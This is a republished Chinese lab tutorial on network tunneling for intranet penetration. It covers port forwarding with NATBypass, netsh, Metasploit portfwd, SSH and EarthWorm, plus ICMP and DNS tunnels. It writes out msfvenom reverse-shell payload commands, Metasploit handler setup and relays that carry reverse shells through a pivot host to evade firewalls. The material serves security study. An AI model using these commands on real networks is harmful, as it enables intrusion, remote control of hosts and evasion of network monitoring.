脚本宝典收集整理的这篇文章主要介绍了流量操纵——隧道,脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道,DNS隧道,正反向端口转发等)进行操作均失败。那么可以尝试使用ICMP建立隧道,ICMP协议不需要端口的开放,因为其基于IP工作的,所以我们将其归结到网络层,ICMP消息最为常见的就是ping命令的回复,将TCP/UDP数据包封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙是不会屏蔽ping数据包的)
防火墙只允许ping出站流量,利用ptunnel建立ICMP隧道,从而实现传输数据。
在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截,解决CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等。
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
代理是为了解决网络通讯问题,如:我在学校,如何连接在网吧的你?我在中国,如何访问油管? 隧道在代理之上,在建立连接的情况下,如何突破各种网络限制,来建立稳固连接
端口映射与端口转发用于发布防火墙内部的服务器或者防火墙内部的客户端计算机,有的路由器也有端口映射与端口转发功能。端口映射与端口转发实现的功能类似,但又不完全一样。端口映射是将外网的一个端口完全映射给内网一个地址的指定端口,而端口转发是将发往外网的一个端口的通信完全转发给内网一个地址的指定端口。端口映射可以实现外网到内网和内网到外网双向的通信,而端口转发只能实现外网到内网的单向通信。
隧道与端口转发的概念不是很清晰,这里参考:https://hsk.oray.com/news/9757.html
关于nc,参见我之前的文章:https://blog.csdn.net/weixin_44288604/article/details/112888661 关于反弹sehll,参见我之前的文章:https://blog.csdn.net/weixin_44288604/article/details/111740527
最原始的lcx找不着了,在github上搜索,表现较好的是下面这个 项目地址:https://github.com/cw1997/NATBypass
资源列表如下,下载64位的
实验目标:kali获取内网主机的3389
把自己127.0.0.1的3389转发到192.168.42.129的6666端口
.nb-windows-amd64.exe -slave 192.168.42.129:6666 127.0.0.1:3389
把6666端口的流量转发到7777端口
.nb-windows-amd64.exe -listen 6666 7777
kali连接192.168.40.131:7777相当于连接192.168.40.131:6666,相当于192.168.42.128:3389
rdesktop 192.168.40.131:7777
输入正确是账号密码即可连接
netsh是windows系统自带的一个命令行工具,这个工具可以内置端口转发功能
实现:当kali访问win2012的某端口时,可以访问到内网win7的某端口。 演示:当kali访问win2012的6666端口时,可以访问到内网win7的3389端口。
win2012只需要设置为:允许任意主机访问自己的6666端口时,自己就把流量转发给win7的3389端口
添加端口转发的命令
netsh interface portproxy add v4tov4 listenport=6666 connectaddress=192.168.195.138 connectport=3389
查看端口转发的记录表
netsh interface portproxy show all
清除指定规则
netsh interface portproxy delete v4tov4 listenport=6666
清除所有规则
netsh interface portproxy reset
实验思路:
不知道为什么,这个实验没做出来,重置了一下网络,新的网络拓扑如下图 后续:经过排查得知,是因为win2012开启了防火墙,导致实验失败。关闭防火墙即可。
操作:
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.128 lport=6666 -f exe >s.exe
netsh interface portproxy add v4tov4 listenport=4444 connectaddress=192.168.239.141 connectport=4444
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4444
exploit
实验目标:已经使用cs拿下win2012,如何把win2012作为跳板机去访问目标win7
双击start.bat
就行了
这部分的操作,简单截个图算了。详情参见之前的笔记:语雀地址、CSDN地址 3.1 设置监听器
3.2 生成powshell
3.3 主机上线
果然开放了4444端口,那么我们只需要通过win2012即可正向连接到win7
注意,ip和端口之间是没有冒号的,否则会失败
connect 10.10.1.129 4444
如果内网靶机有防火墙进行拦截,那么正向连接就会失败,为了解决这个问题,就需要使用反向连接。 即:让内网目标win7反向连接代理服务器win2012
不知道错误原因,先不管了。
先拿下win2012
msfvenom -p windows/meterpreter/reverse_tcp lport=4455 -f exe >hack.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4455
exploit
portfwd add -l 8080 -r 192.168.239.201 -p 3389
需要确认win7开启了3389,否则不能直接搞。
meterpreter > portfwd add -l 5566 -r 10.10.10.131 -p 3389
实现通过访问本地的4477端口,访问到了win7的80端口
portfwd add -l 4477 -r 10.10.10.131 -p 80
方式1:访问 http://localhost:4477
方式2:访问 http://192.168.239.141:4477
方式3:可以直接使用BurpSuite
SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据。但是,SSH还能够将其他TCP端口的网络数据通过SSH链接来转发,并且自动提供了响应的解密服务。这一过程也被叫做“隧道”(tunneling),这是因为SSH为其他TCP链接提供了一个安全的通道来进行传输而得名,例如SMTP、LDAP这些TCP应用均能够从中得益,避免了用户名,密码以及隐私信息的传输。而此同时,如果工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH的连接,也能够通过将TCP端口转发来使用SSH进行通讯。
实现思路:kali连接一台aws的云服务器,通过它访问互联网,突破网络限制。
vim /etc/ssh/sshd_config
PasswordAuthentication no
修改为PasswordAuthentication yes
PermitRootLogin yes
service sshd restart
ssh -qTfnN -D 7070 root@3.112.252.229
-C 为压缩数据
-q 安静模式
-T 禁止远程分配终端
-n 关闭标准输入
-N 建立静默连接,就是建立了连接(不执行登录shell)
-f 将SSH传输放在后台执行
-D 动态转发
关于这部分更细致的记录,参见之前的笔记:语雀地址、CSDN地址
实现:kali能透过Cent7访问到内网win7的web服务 在kali上执行如下命令:
ssh -L 本地端口:目标IP:目标端口 root@192.168.40.150 -fN
ssh -L 6666:10.10.10.128:80 root@192.168.40.150 -fN
-f 将SSH传输放在后台执行
-N 建立静默连接,就是建立了连接(不执行登录shell)
实现:kali能透过Cent7连接win7的远程桌面
ssh -L 7777:10.10.10.128:3389 root@192.168.40.150 -fN
rdesktop 10.10.10.128:3389
kali希望能访问到ubuntu的80端口,但是Cent7和ubuntu之间只允许3306端口通信,如何解决?
/etc/ssh/sshd_config
中的GatewayPorts
修改为yes
,没有的话添加此项内容,之后重启SSH。这个配置的作用是,远程转发后将127.0.0.1改为0.0.0.0,攻击者kali就可以通过指定端口就能访问内网的ubuntu
实现,任何机器只要连接了跳板机的8866端口,就能转发到Ubuntu的80端口
ssh -R 8866:10.10.10.131:80 root@10.10.10.130 -fN
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透,目前工具已经停止更新(此工具被查杀严重)。使用方法在下面的链接中作者已经介绍了,可以参考 下载地址:https://github.com/idlefire/ew 官方网站:http://rootkiter.com/EarthWorm
参数如下:
-s 选择功能类型:
共包含6种功能:
ssocksd:正向代理
rcsocks:反向代理1,流量转发
rssocks:反向代理2,反弹socks5
lcx_listen:反向代理1,流量转发
lcx_tran:端口转发
lcx_slave:端口绑定
-l 指定要监听的本地端口
-d 指定要反弹到的机器 ip
-e 指定要反弹到的机器端口
-f 指定要主动连接的机器 ip
-g 指定要主动连接的机器端口
-t 指定超时时长,默认为1000
环境拓扑如下,kali希望访问到内网vm2 思路:win2012开启代理,只有有人连接了自己的9999端口,自己就把它转发走
ew_for_Win.exe -s ssocksd -l 9999 //在9999端口上开启socks代理,ssocksd提供正向代理功能
环境拓扑如下,kali希望访问到内网vm2 思路:win7开启反向代理,反弹socks5到win2012,win2012开启反向代理,连接win7,再流量转发功能
ew_for_Win.exe -s rcsocks -l 1080 -e 1024
ew_for_Win.exe -s rssocks -d 10.10.10.129 -e 6666
常见端口扫描也是可以的
proxychains4 nmap -Pn -sT -sV 10.10.10.128 -F
如果用户可以ping通远程计算机,就可以尝试建立ICMP隧道,将TCP数据通过该隧道发送,实现不受限的网络访问。 参数:
-p 代理服务器地址,即跳板机地址
-lp 本地端口
-da 目标内网IP,即我们的目标机IP
-dp 目标端口,即我们要的目标机端口
-c 网卡编号
-v 显示详细过程,值可以-1-5,-1为不显示,5为最详细
-udp 通过dns协议传输,端口为udp53
-x 进入此隧道密码,如果服务器加该参数,客户端也需要加同样参数和值
-f 指定一个日志文件
网络拓扑如下,攻击者想要实现和目标之间自由通信(目前只能实现ICMP互通)
iptables -F //清除规则
iptables -A INPUT -p tcp -s 192.168.40.129 -j DROP //添加规则
iptables -L //查看规则
代理可以正常访问
攻击者访问失败
sudo ptunnel -x 1234
sudo ptunnel -p 192.168.40.140 -lp 8080 -da 192.168.40.139 -dp 80 -x 1234
什么是DNS隧道? DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件,因此,DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。
DNS隧道的原理 在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。
DNS隧道分为两种 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。
区别在于直连模式速度相对快,但安全性相对较差。非直连模式速度相对较慢,但安全性相对较高。大多数情况下都使用中继模式。 (另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。)
dns2tcp是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的请求,用C语言开发。它分为两个部分,服务端和客户端。服务端运行在inux服务器上,客户端可以运行在linx和 windows上(其他平台没有测试过),编译完成后在服务端上的可执行文件名称为dns2tcp,在客户端(linux)上的名称为dns2tcpc,kali默认安装了二者。下述为主要参数及解释,详情请参考手册。
需要搞个vps就算了,还得搞个域名,太麻烦,操作参见他人的文章吧:https://blog.csdn.net/smli_ng/article/details/106159155
【内网渗透】搭建隧道 安全攻防 | EarthWorm 代理 ICMP隧道技术 内网隐藏通信隧道技术——DNS隧道
以上是脚本宝典为你收集整理的流量操纵——隧道全部内容,希望文章能够帮你解决流量操纵——隧道所遇到的问题。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。